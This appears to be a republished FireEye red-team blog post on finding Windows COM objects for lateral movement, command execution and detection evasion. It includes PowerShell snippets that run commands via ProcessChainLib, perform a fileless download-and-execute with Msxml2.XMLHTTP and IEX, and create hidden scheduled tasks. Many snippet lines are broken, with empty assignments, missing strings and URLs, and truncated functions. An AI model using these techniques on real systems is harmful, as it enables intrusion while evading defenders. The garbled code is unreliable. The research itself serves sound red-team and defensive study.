Hunting COM Objects

Original Post from FireEye
Author: Charles Hamilton

COM objects have recently been used by penetration testers, Red
Teams, and malicious actors to perform lateral movement. COM objects
were studied by several other researchers in the past, including Matt
Nelson (enigma0x3), who published a blog
about it in 2017. Some of these COM objects were also added
to the Empire project
. To improve the Red Team practice, FireEye
performed research into the available COM objects on Windows 7 and 10
operating systems. Several interesting COM objects were discovered
that allow task scheduling, fileless download & execute as well as
command execution. Although not security vulnerabilities on their own,
usage of these objects can be used to defeat detection based on
process behavior and heuristic signatures.

What is a COM Object?

According to Microsoft,
“The Microsoft Component Object Model (COM) is a platform-independent,
distributed, object-oriented system for creating binary software
components that can interact. COM is the foundation technology for
Microsoft’s OLE (compound documents), ActiveX (Internet-enabled
components), as well as others.”

COM was created in the 1990’s as language-independent binary
interoperability standard which enables separate code modules to
interact with each other. This can occur within a single process or
cross-process, and Distributed COM (DCOM) adds serialization allowing
Remote Procedure Calls across the network.

The term “COM Object” refers to an executable code section which
implements one or more interfaces deriving from IUnknown.  IUnknown is
an interface with 3 methods, which support object lifetime reference
counting and discovery of additional interfaces.  Every COM object is
identified by a unique binary identifier. These 128 bit (16 byte)
globally unique identifiers are generically referred to as GUIDs. 
When a GUID is used to identify a COM object, it is a CLSID (class
identifier), and when it is used to identify an Interface it is an IID
(interface identifier). Some CLSIDs also have human-readable text
equivalents called a ProgID.

Since COM is a binary interoperability standard, COM objects are
designed to be implemented and consumed from different languages. 
Although they are typically instantiated in the address space of the
calling process, there is support for running them out-of-process with
inter-process communication proxying the invocation, and even remotely
from machine to machine.

The Windows Registry contains a set of keys which enable the system
to map a CLSID to the underlying code implementation (in a DLL or EXE)
and thus create the object.


exposes all the information needed to enumerate COM objects, including
the CLSID and ProgID. The CLSID is a globally unique identifier
associated with a COM class object. The ProgID is a
programmer-friendly string representing an underlying CLSID.

The list of CLSIDs can be obtained using the following Powershell
commands in Figure 1.

New-PSDrive -PSProvider registry -Root
Get-ChildItem -Path
HKCR:CLSID -Name | Select -Skip 1 >

Figure 1: Enumerating CLSIDs under HKCR

The output will resemble Figure 2.


Figure 2:Abbreviated list of CLSIDs from HKCR

We can use the list of CLSIDs to instantiate each object in turn,
and then enumerate the methods and properties exposed by each COM
object. PowerShell exposes the Get-Member
cmdlet that can be used to list methods and properties on an object
easily. Figure 3 shows a PowerShell script to enumerate this
information. Where possible in this study, standard user privileges
were used to provide insight into available COM objects under the
worst-case scenario of having no administrative privileges.

$Position  = 1
$Filename =
$inputFilename =
ForEach($CLSID in Get-Content
$inputFilename) {
“$($Position) – $($CLSID)”
Write-Output “————————” | Out-File
$Filename -Append
      Write-Output $($CLSID) |
Out-File $Filename -Append
      $handle =
      $handle | Get-Member | Out-File $Filename
      $Position += 1

Figure 3: PowerShell scriptlet used to enumerate
available methods and properties

If you run this script, expect some interesting side-effect behavior
such as arbitrary applications being launched, system freezes, or
script hangs. Most of these issues can be resolved by closing the
applications that were launched or by killing the processes that were spawned.

Armed with a list of all the CLSIDs and the methods and properties
they expose, we can begin the hunt for interesting COM objects. Most
COM servers (code implementing a COM object) are implemented in a DLL
whose path is stored in the registry key e.g. under InprocServer32. This is useful because reverse
engineering may be required to understand undocumented COM objects.

On Windows 7, a total of 8,282 COM objects were enumerated. Windows
10 featured 3,250 new COM objects in addition to those present on
Windows 7. Non-Microsoft COM objects were generally omitted because
they cannot be reliably expected to be present on target machines,
which limits their usefulness to Red Team operations. Selected
Microsoft COM objects from the Windows SDK were included in the study
for purposes of targeting developer machines.

Once the members were obtained, a keyword-based search approach was
used to quickly yield results. For the purposes of this research, the
following keywords were used: execute, exec, spawn, launch, and run.

One example was the {F1CA3CE9-57E0-4862-B35F-C55328F05F1C} COM object
(WatWeb.WatWebObject) on Windows 7. This
COM object exposed a method named LaunchSystemApplication as shown in Figure 4.

Figure 4: WatWeb.WatWebObject methods
including the interesting LaunchSystemApplication method

The InprocServer32 entry for this object
was set to C:windowssystem32watwatweb.dll, which is part
of Microsoft’s Windows Genuine Advantage product key validation
system. The LaunchSystemApplication method
expected three parameters, but this COM object was not well-documented
and reverse engineering was required, meaning it was time to dig
through some assembly code.

Once C:windowssystem32watwatweb.dll is
loaded in your favorite tool (in this case, IDA Pro), it’s time to
find where this method is defined. Luckily, in this case, Microsoft
exposed debugging symbols, making the reverse engineering much more
efficient. Looking at the disassembly, LaunchSystemApplication calls LaunchSystemApplicationInternal, which, as one
might suspect, calls CreateProcess to launch
an application. This is shown in the Hex-Rays decompiler pseudocode in
Figure 5.

Figure 5: Hex-Rays pseudocode confirming
that LaunchSystemApplicationInternal calls CreateProcessW

But does this COM object allow creation of arbitrary processes? The
argument passed to CreateProcess is
user-controlled and is derived from the arguments passed to the
function. However, notice the call to CWgpOobWebObjectBaseT::IsApprovedApplication prior
to the CreateProcess call. The Hex-Rays
pseudocode for this method is shown in Figure 6.

Figure 6: Hex-Rays pseudocode for the
IsApprovedApplication method

The user-controlled string is validated against a specific pattern.
In this case, the string must match slui.exe. Furthermore, the user-controlled string
is then appended to the system path, meaning it would be necessary to,
for instance, replace the real slui.exe to
circumvent the check. Unfortunately, the validation performed by
Microsoft limits the usefulness of this method as a general-purpose
process launcher.

In other cases, code execution was straightforward. For example, the
ProcessChain Class with CLSID {E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E} that is
implemented in C:Program Files (x86)Windows
Kits10App Certification Kitprchauto.dll
. This COM class
can be readily analyzed without looking at any disassembly listings,
because prchauto.dll contains a TYPELIB resource containing a COM Type Library
that can be viewed using Oleview.exe.
Figure 7 shows the type library for ProcessChainLib, exposing a CommandLine property and a Start method. Start
accepts a reference to a Boolean value.

Figure 7: Type library for
ProcessChainLib as displayed in Interface Definition Language by Oleview.exe

Based on this, commands can be started as shown in Figure 8.

$handle =
$handle.CommandLine = “cmd /c whoami”

Figure 8: Using the ProcessChainLib COM server
to start a process

Enumerating and examining COM objects in this fashion turned up
other interesting finds as well.

Fileless Download and Execute

For instance, the COM object {F5078F35-C551-11D3-89B9-0000F81FE221} (Msxml2.XMLHTTP.3.0) exposes an XML HTTP 3.0
feature that can be used to download arbitrary code for execution
without writing the payload to the disk and without triggering rules
that look for the commonly-used System.Net.WebClient. The XML HTTP 3.0 object is
usually used to perform AJAX requests. In this case, data fetched can
be directly executed using the Invoke-Expression cmdlet (IEX).

The example in Figure 9 executes our code locally:

$o =
“”, $False); $o.Send();
IEX $o.responseText;

Figure 9: Fileless download without System.Net.WebClient

Task Scheduling

Another example is {0F87369F-A4E5-4CFC-BD3E-73E6154572DD} which
implements the Schedule.Service class for
operating the Windows Task Scheduler Service. This COM object allows
privileged users to schedule a task on a host (including a remote
host) without using the schtasks.exe binary
or the at command.

$TaskName =
$Instance =
$Folder =
$Task =
$Trigger =
$Trigger.StartBoundary =
Convert-Date -Date ((Get-Date).addSeconds($Delay))
$Trigger.EndBoundary = Convert-Date -Date
((Get-Date).addSeconds($Delay + 120))
$Trigger.ExecutionTimelimit = “PT5M”
$Trigger.Enabled = $True
$Trigger.Id =
$Action = $Task.Actions.Create(0)
$Action.Path = “cmd.exe”
$Action.Arguments = “/c
$Action.HideAppWindow = $True
$Folder.RegisterTaskDefinition($TaskName, $Task, 6,
“”, “”, 3)

function Convert-Date {       



        PROCESS {
 $Date.Touniversaltime().tostring(“u”) -replace
” “,”T”

Figure 10: Scheduling a task


COM objects are very powerful, versatile, and integrated with
Windows, which means that they are nearly always available. COM
objects can be used to subvert different detection patterns including
command line arguments, PowerShell logging, and heuristic detections.
Stay tuned for part 2 of this blog series as we will continue to look
at hunting COM objects.

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Author: Charles Hamilton

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